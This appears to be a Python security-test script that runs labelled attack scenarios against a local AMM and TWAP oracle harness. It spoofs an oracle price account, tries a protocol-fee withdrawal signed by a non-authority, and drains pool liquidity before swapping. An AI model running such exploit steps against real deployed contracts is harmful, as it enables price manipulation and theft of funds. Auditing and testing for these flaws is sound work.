import sys; sys.path.insert(0, "/home/vpavlin/devel/m1-local/harness"); import h I = h.I; Q = 2**64; D = 18446744073709551615 h.act("S1' FRESH account creates canonical price account base=TKA quote=TKB @1000 (one-shot spoof)", "twap_oracle", "twap_oracle", "create_oracle_price_account", snap=False, oracle_price_account=I["SPOOF_PRICE"], price_source=I["SPOOF_SRC"], clock=I["CLOCK"], base_asset=I["DEF_A"], quote_asset=I["DEF_B"], initial_price=1000 * Q, window_duration=600000) h.wait_next_block() h.log_note("S1' spoofed account", h.inspect("twap_oracle", I["SPOOF_PRICE"], "OraclePriceAccount")) print(h.inspect("twap_oracle", I["SPOOF_PRICE"], "OraclePriceAccount")) h.act("F6' withdraw_protocol_fees signed by a NON-authority (distinct accounts)", "amm", "amm", "withdraw_protocol_fees", config=I["CONFIG"], protocol_fee_holding=I["PFEE_A"], destination=I["HOLD_A"], authority=I["NOT_AUTH"], amount=10**12) lp = h.holding(I["LP_HOLD"]) h.act(f"S3a' remove ALL user LP ({lp}) min_out=1", "amm", "amm", "remove_liquidity", config=I["CONFIG"], pool=I["POOL"], vault_a=I["VAULT_A"], vault_b=I["VAULT_B"], pool_definition_lp=I["POOL_LP"], user_holding_a=I["HOLD_A"], user_holding_b=I["HOLD_B"], user_holding_lp=I["LP_HOLD"], current_tick_account=I["TICK"], clock=I["CLOCK"], remove_liquidity_amount=lp, min_amount_to_remove_token_a=1, min_amount_to_remove_token_b=1, deadline=D) for amt in (10**3, 10**6): h.act(f"S3c swap {amt} A->B in the drained pool", "amm", "amm", "swap_exact_input", config=I["CONFIG"], pool=I["POOL"], vault_a=I["VAULT_A"], vault_b=I["VAULT_B"], user_input_holding=I["HOLD_A"], user_output_holding=I["HOLD_B"], current_tick_account=I["TICK"], clock=I["CLOCK"], protocol_fee_holding=I["PFEE_A"], swap_amount_in=amt, min_amount_out=1, deadline=D)